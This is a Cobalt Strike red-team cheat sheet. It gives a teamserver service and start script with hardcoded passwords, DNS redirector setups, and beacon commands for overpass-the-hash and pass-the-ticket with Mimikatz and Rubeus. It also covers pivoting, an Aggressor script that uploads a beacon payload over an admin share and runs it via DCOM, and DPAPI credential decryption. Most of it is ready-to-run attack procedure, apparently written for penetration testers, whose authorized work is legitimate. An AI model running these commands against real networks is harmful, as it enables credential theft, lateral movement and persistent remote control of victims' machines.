Cobalt Strike

• https://reconshell.com/list-of-awesome-cobaltstrike-resources/

• https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet

Run as a daemon:

Service Unit

/etc/systemd/system/cobaltstrike.service

[Unit]
Description=CobaltStrike
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/opt/CobaltStrike/start.sh

[Install]
WantedBy=multi-user.target

Start Script

/opt/CobaltStrike/start.sh

#!/bin/bash

CS_IP=`hostname -I | awk '{print $1}'`
CS_PASS='Passw0rd1!'
CS_PATH='/opt/CobaltStrike'

rm -{f} "${CS_PATH}/Profiles/random_c2_profile/output/*.profile"
CS_PROFILE=`cd "${CS_PATH}/Profiles/random_c2_profile"; python3 ./random_c2profile.py | tail -1 | awk -F/ '{print $2}'`

if [ ! -f "${CS_PATH}/cobaltstrike.store" ]; then
        /usr/bin/keytool -keystore ./cobaltstrike.store -storepass 'Passw0rd2!' -keypass 'Passw0rd2!' -genkey -keyalg RSA -alias cobaltstrike -dname 'CN=google.com, O=Google Inc, L=Mountain View, ST=California, C=US'
fi

${CS_PATH}/TeamServerImage -Dcobaltstrike.server_port=1337 -Dcobaltstrike.server_bindto="${CS_IP}" -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword='Passw0rd2!' teamserver "${CS_IP}" "${CS_PASS}" "${CS_PATH}/Profiles/random_c2_profile/output/${CS_PROFILE}"

Malleable C2 Profiles

• https://blog.zsec.uk/cobalt-strike-profiles/

• https://github.com/rsmudge/Malleable-C2-Profiles

SourcePoint

• https://github.com/Tylous/SourcePoint

$ ./SourcePoint -Host www.microsoft.com -Forwarder -Sleep 20 -Jitter 20 -Injector NtMapViewOfSection -Stage False -Syscall Indirect -Outfile test.profile

Aggressor Scripts

• https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

• https://chowdera.com/2021/02/20210204190220156W.html

• https://www.kingstonesecurity.com/blog/efficiency-with-aggressor

Community Kit

• https://cobalt-strike.github.io/community_kit/

P2P Beacons

Beacon TCP and Beacon SMB are Peer-to-Peer beacons which means they're used to chain a connection to an existent beacon. They act like bind shells and waits for the attacker to connect to them.

Connect to a TCP beacon:

beacon> connect <IP> <PORT>

Connect to an SMB beacon:

beacon> link <IP>

DNS Beacons

• https://www.cobaltstrike.com/blog/simple-dns-redirectors-for-cobalt-strike/

Create an A record ns66.example.com pointing to IP address of the redirector and then an NS record pointing to ns66.example.com.

Before starting a DNS listener, the localhost resolver should be shut down if necessary: sudo systemctl disable systemd-resolved --now.

socat Redirector

On the redirector:

$ sudo socat -T 1 udp4-listen:53,fork tcp4:<TEAMSERVER_IP>:5353

On the team server:

$ socat -T 10 tcp4-listen:5353,fork udp4:127.0.0.1:53

iptables Redirector

Add

dns-forwarder-on.sh

sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destination <REDIRECTOR_IP> --destination-port 53 -j MARK --set-mark 0x400
sudo iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to-destination <TEAMSERVER_IP>:53
sudo iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT

Delete

dns-forwarder-off.sh

sudo sh -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -D INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -D PREROUTING -m state --state NEW --protocol udp --destination <REDIRECTOR_IP> --destination-port 53 -j MARK --set-mark 0x400
sudo iptables -t nat -D PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to-destination <TEAMSERVER_IP>:53
sudo iptables -t nat -D POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -D FORWARD -j ACCEPT

DNSMasq Redirector

• https://buaq.net/go-20984.html

Overpass-the-Hash

More opsec PtH than builtin pth command (which does the Mimikatz sekurlsa::pth thing with named pipe impersonation):

beacon> mimikatz sekurlsa::pth /user:snovvcrash /domain:megacorp.local /ntlm:fc525c9683e8fe067095ba2ddc971889
beacon> steal_token 1337

Same with Rubeus (must be in elevated context):

beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
beacon> steal_token 1337

Use Rubeus with lower privileges:

beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /nowrap /opsec

PS > [System.IO.File]::WriteAllBytes("C:\Windows\Tasks\tgt.kirbi", [System.Convert]::FromBase64String("<BASE64_TICKET>"))
Or
$ echo -en "<BASE64_TICKET>" | base64 -d > tgt.kirbi

beacon> run klist
Or
beacon> execute-assembly Rubeus.exe klist

beacon> make_token MEGACORP\snovvcrash dummy_Passw0rd!
beacon> kerberos_ticket_use C:\Windows\Tasks\tgt.kirbi

Pass-the-Ticket

Create a sacrificial process, import the TGT into its logon session and steal its security token:

beacon> execute-assembly Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
beacon> execute-assembly Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>
beacon> beacon> steal_token 1337

Pivoting

Make any traffic hitting port 8443 on Victim to be redirected to 10.10.13.37 on port 443 (traffic flows through the team server):

beacon> rportfwd 8443 10.10.13.37 443

Make any traffic hitting port 8080 on Victim to be redirected to localhost:80 on Attacker (traffic flows through the CS client):

beacon> rportfwd_local 8080 127.0.0.1 80

Extending jump with Invoke-DCOM.ps1:

sub invoke_dcom
{
    local('$handle $script $oneliner $payload');

    # acknowledge this command1
    btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");

    # read in the script
    $handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
    $script = readb($handle, -1);
    closef($handle);

    # host the script in Beacon
    $oneliner = beacon_host_script($1, $script);

    # generate stageless payload
    $payload = artifact_payload($3, "exe", "x64");

    # upload to the target
    bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);

    # run via this powerpick
    bpowerpick!($1, "Invoke-DCOM -ComputerName $+ $2 $+ -Method MMC20.Application -Command C:\\Windows\\Temp\\beacon.exe", $oneliner);

    # link if p2p beacon
    beacon_link($1, $2, $3);
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom);

Forward SOCKS server's port from team server to the client:

beacon> socks 1080
$ ssh -tt -v -L 9050:localhost:1080 root@teamserver

Credentials

DPAPI

List credential blobs:

beacon> ls C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials

List vault credentials:

beacon> run vaultcmd /listcreds:"Windows Credentials" /all
beacon> mimikatz vault::list

Check which master keys correspond to credential blobs (look for guidMasterKey field with GUID):

beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB>

The master key is stored here:

beacon> ls C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID>

Decrypt the master key via RPC on the Domain Controller and show it:

beacon> mimikatz dpapi::masterkey /in:C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID> /rpc

Decrypt the blob with decrypted master key:

beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB> /masterkey:<MASTERKEY>

Evasion

• [PDF] Avoiding Memory Scanners (Kyle Avery, @kyleavery)

• https://github.com/kyleavery/AceLdr

Sleep Mask

anchorShellcode In-Memory Fluctuation (Obfuscate and Sleep)

• https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures

• https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/

• https://codex-7.gitbook.io/codexs-terminal-window/red-team/cobalt-strike/evading-hunt-sleeping-beacons

Detection

• https://github.com/chronicle/GCTI